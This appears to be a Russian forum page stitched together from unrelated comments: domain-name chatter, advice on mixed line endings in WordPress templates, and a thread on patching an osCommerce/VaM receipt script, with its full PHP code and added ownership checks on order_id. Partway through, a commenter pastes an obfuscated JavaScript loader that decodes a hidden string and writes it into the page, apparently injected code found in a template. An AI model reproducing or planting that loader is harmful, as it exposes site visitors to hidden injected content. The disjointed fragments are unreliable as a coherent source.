Созвучно с небезызвестным top4top поэтому название запоминается, но так как job4top занят то этот JobForTop имхо ценности не имеет.
P.S. Даже job4job занят :)
Ну в итоге то они всё равно в большом убытке (никакого злорадства!).
Предыдущий эпический провал в зоне RU - ГПД и Руссобалт - был менее масштабным чем этот.
А я себе взял там один домен под сателит, как раз нужен был именно этот, модель трактора :)
KrViewer (редактор встроенный в коммандер Krusader).
Под виндой блокнот обычный :)
Ну если у вас Windows, открываете все файлы шаблона в блокноте, и если в каких-то файлах вместо перевода строки отображаются квадратики, нужно стереть их и нажать на этом месте Enter.
Такое бывает когда в одном хтмл-файле есть переносы строки как в стиле юникс, так и в стиле дос (виндовс).
Проверьте чтобы во всех файлах (кусках шаблона) которые включаются в выдачу страницы, переносы строки были расставлены одинаково. Мне по крайней мере это помогло, тоже подобные левые отступы были как раз в вордпрессе.
Это:
<script language="JavaScript">function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,38,12,5,41,17,22,52,11,61,0,0,0,0,0,0,21,13,27,0,36,45,2,3,37,46,54,39,35,34,20,7,1,30,18,55,31,51,16,33,15,14,32,0,0,0,0,49,0,47,59,6,53,10,43,50,48,28,24,26,40,25,58,57,29,8,44,9,56,62,23,4,42,60,19);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("mkE_vUid5vjgwarhVzrhCLoWazy7wBa_vUid5TjW6TE_jQjU5OpdTxlMRGy_qQEgqatdVfl1FGi7nBrgPGyWB14M6Byd2vp7BF")</script>
НЕ нормально!
Понятно тогда...
Да уж, Vam исправил так исправил :) Вообще ошибка-то глупая, не проверять чей заказ.
Это точно :)
Один такой GET я уже где-то в другом файлике от Vam'а нашёл и исправил, этот файл ещё не успел проверить, только выше упомянутый баг пофиксил.
UPD. Невнимательно посмотрел.
Относительно конкретно этого GET'а. Как тогда смотреть квитанцию из истроии заказов, если в скрипт не будет передаваться переменная id?
Вот полностью код kvitan.php:
<?php/* $Id: kvitan.php,v 1.6 2003/06/20 00:37:30 hpdl Exp $ osCommerce, Open Source E-Commerce Solutions http://www.oscommerce.com Copyright (c) 2003 osCommerce Released under the GNU General Public License*/require('includes/application_top.php');// UPD ADD (SECURITY FIX 1) if (!tep_session_is_registered('customer_id')) { $navigation->set_snapshot(); tep_redirect(tep_href_link(FILENAME_LOGIN, '', 'SSL')); }// END OF UPD (SECURITY FIX 1)// UPD ADD (SECURITY FIX 2) $customer_number_query = tep_db_query("select customers_id from " . TABLE_ORDERS . " where orders_id = '". tep_db_input(tep_db_prepare_input($_GET['order_id'])) . "'"); $customer_number = tep_db_fetch_array($customer_number_query); if ($customer_number['customers_id'] != $customer_id) { tep_redirect(tep_href_link(FILENAME_ACCOUNT_HISTORY, '', 'SSL')); }// END OF UPD ADD (SECURITY FIX 2)require(DIR_WS_LANGUAGES . $language . '/modules/payment/rusbank.php');require(DIR_WS_CLASSES . 'order.php'); $order = new order($_GET['order_id']);/*error_log("Квитанция заказ ".$order);error_log("Квитанция корзина ".$cart->count_contents());error_log("Квитанция заказ всего " .$order->info['total']);error_log("Квитанция заказ доставка страна " . $order->delivery['country']);error_log("Квитанция заказ доставка name " . $order->delivery['name']);error_log("Квитанция заказ доставка street_address " . $order->delivery['street_address']);error_log("Квитанция заказ доставка city " . $order->delivery['city']);error_log("Квитанция заказ доставка postcode " . $order->delivery['postcode']);error_log("Квитанция заказ покупатель name " . $order->customer['customers_name']);error_log("Квитанция заказ покупатель city " . $order->customer['city']);error_log("Это cart ---------------------", 0); while ( list( $key, $val ) = each($cart) ) { error_log("$key => $val", 0); }error_log("Это order delivery ---------------------", 0); while ( list( $key, $val ) = each($order->delivery) ) { error_log("$key => $val", 0); }error_log("Это shipping ---------------------", 0); while ( list( $key, $val ) = each($shipping) ) { error_log("$key => $val", 0); }error_log("Это order_total ---------------------", 0); while ( list( $key, $val ) = each($order_total)) { error_log("$key => $val", 0); }*/$FIO = $order->delivery['name'];$Adress = $FIO . "<BR>" . $order->delivery['postcode'] . ", " . $order->delivery['state'] . ", " . $order->delivery['city'] . ", " . $order->delivery['street_address']; $total = $order->info['total'];//$total = number_format( $order->info['total'] * $currencies->get_value('RUR'), $currencies->get_decimal_places('RUR')) . " руб.";//error_log("Это FIO ". $FIO, 0);$date = date("d-m-Y");//error_log("Это дата ". $date, 0);//'Название банка', 'MODULE_PAYMENT_RUS_BANK_1'//'Расчетный счет', 'MODULE_PAYMENT_RUS_BANK_2'//'БИК', 'MODULE_PAYMENT_RUS_BANK_3'//'Кор./счет', 'MODULE_PAYMENT_RUS_BANK_4'//'ИНН', 'MODULE_PAYMENT_RUS_BANK_5'//'Получатель', 'MODULE_PAYMENT_RUS_BANK_6'//'КПП', 'MODULE_PAYMENT_RUS_BANK_7'?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML dir=ltr lang=ru><HEAD><TITLE>Квитанция на оплату услуг для <?php echo $FIO ?></TITLE><META content="text/html; charset=windows-1251" http-equiv=Content-Type><META content="MSHTML 5.00.3700.6699" name=GENERATOR></HEAD><BODY><CENTER><TABLE border=1 cellPadding=3 cellSpacing=0 width=600> <TBODY> <TR> <TD align=right height=255 vAlign=top width=240><BR><BR><FONT size=2> <P>Извещение</P></FONT><FONT size=1><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> <P>Кассир</P><BR></FONT></FONT></TD> <TD align=right height=255 vAlign=center width=100> <TABLE border=1 cellPadding=3 cellSpacing=0 width=360><FONT size=-1> <P align=center><?php echo MODULE_PAYMENT_RUS_BANK_1 . "<br>ИНН " . MODULE_PAYMENT_RUS_BANK_5 . ", " . MODULE_PAYMENT_RUS_BANK_6 ?> <BR><P></P></FONT><FONT size=1>получатель платежа</FONT> <TBODY> <TR> <TD align=middle colSpan=4 height=10 vAlign=center><FONT size=2> <P>Расчетный счет №: <?php echo MODULE_PAYMENT_RUS_BANK_2 ?> БИК: <?php echo MODULE_PAYMENT_RUS_BANK_3 ?></P></FONT></TD></TR> <TR> <TD align=center colSpan=4 height=10 vAlign=middle><FONT size=2> <P>Кор. сч.: <?php echo MODULE_PAYMENT_RUS_BANK_4 . " КПП " . MODULE_PAYMENT_RUS_BANK_7 ?></P></FONT></TD></TR> <TR> <TD colSpan=4><FONT size=2> <CENTER> <?php echo $Adress ?> <BR></CENTER></FONT></TD></TR> <TR> <TD align=middle colSpan=2><FONT size=2>Вид платежа</FONT></TD> <TD align=middle><FONT size=2>Дата</FONT></TD> <TD align=middle><FONT size=2>Сумма</FONT></TD></TR> <TR> <TD align=middle colSpan=2><FONT size=1><?php echo MODULE_PAYMENT_RUS_BANK_8 . MODULE_PAYMENT_RUS_BANK_ORDER_NUMBER . $_GET['order_id']; ?></FONT></TD> <TD align=middle><FONT size=2><?php echo $date ?></FONT><BR></TD> <TD align=middle><FONT size=2><?php echo $total ?></FONT></TD></TR> <TR> <TD align=left colSpan=2 rowSpan=2><FONT size=2>Плательщик: </FONT></TD> <TD align=middle><FONT size=1>Пеня:</FONT></TD> <TD align=middle>---<BR></TD></TR> <TR align=middle> <TD><FONT size=2>Всего:</FONT></TD> <TD><FONT size=2><?php echo $total ?></FONT><BR></TD></TR></P></TABLE></TD></TR> <TR> <TD align=right height=255 vAlign=top width=240><FONT size=2><BR><BR> <P>Квитанция</P><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><FONT size=1> <P>Кассир</P><BR></FONT></FONT></TD> <TD align=right height=255 vAlign=center width=100> <TABLE border=1 cellPadding=3 cellSpacing=0 width=360><FONT size=-1> <P align=center><?php echo MODULE_PAYMENT_RUS_BANK_1 . "<br>ИНН " . MODULE_PAYMENT_RUS_BANK_5 . ", " . MODULE_PAYMENT_RUS_BANK_6 ?> <P></P></FONT><FONT size=1>получатель платежа</FONT> <TBODY> <TR> <TD align=middle colSpan=4 height=10 vAlign=center><FONT size=2> <P>Расчетный счет №: <?php echo MODULE_PAYMENT_RUS_BANK_2 ?> БИК: <?php echo MODULE_PAYMENT_RUS_BANK_3 ?></P></FONT></TD></TR> <TR> <TD align=center colSpan=4 height=10 vAlign=middle><FONT size=2> <P>Кор. сч.: <?php echo MODULE_PAYMENT_RUS_BANK_4 . " КПП " . MODULE_PAYMENT_RUS_BANK_7 ?></P></FONT></TD></TR> <TR> <TD colSpan=4><FONT size=2> <CENTER> <?php echo $Adress ?><BR></CENTER></FONT></TD></TR> <TR> <TD align=middle colSpan=2><FONT size=2>Вид платежа</FONT></TD> <TD align=middle><FONT size=2>Дата</FONT></TD> <TD align=middle><FONT size=2>Сумма</FONT></TD></TR> <TR> <TD align=middle colSpan=2><FONT size=1><?php echo MODULE_PAYMENT_RUS_BANK_8 . MODULE_PAYMENT_RUS_BANK_ORDER_NUMBER . $_GET['order_id']; ?></FONT></TD> <TD align=middle><FONT size=2><?php echo $date ?></FONT><BR></TD> <TD align=middle><FONT size=2> <?php echo $total ?></FONT></TD></TR> <TR> <TD align=left colSpan=2 rowSpan=2><FONT size=2>Плательщик: </FONT></TD> <TD align=middle><FONT size=1>Пеня:</FONT></TD> <TD align=middle>---<BR></TD></TR> <TR align=middle> <TD><FONT size=2>Всего:</FONT></TD> <TD><FONT size=2><?php echo $total ?></FONT><BR></TD></TR></P></TABLE></TD></TR></TBODY></TABLE></CENTER></BODY></HTML><?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>
Сам модуль нигде не мог найти, на oscommerce.ru раздел "Файлы" давно не работает, в итоге пришлось качать с торрента несколько версий "vam" и выдёргивать нужные модули квитанции и счёта оттуда.
Последняя версия vam которая у меня есть это 1.184 от 26 февраля 2008 года, там есть код который обозначен в комментарии как "SECURITY FIX 1" но нет кода с комментарием "SECURITY FIX 2". В версии vam 1.181 нет ни того ни другого исправления.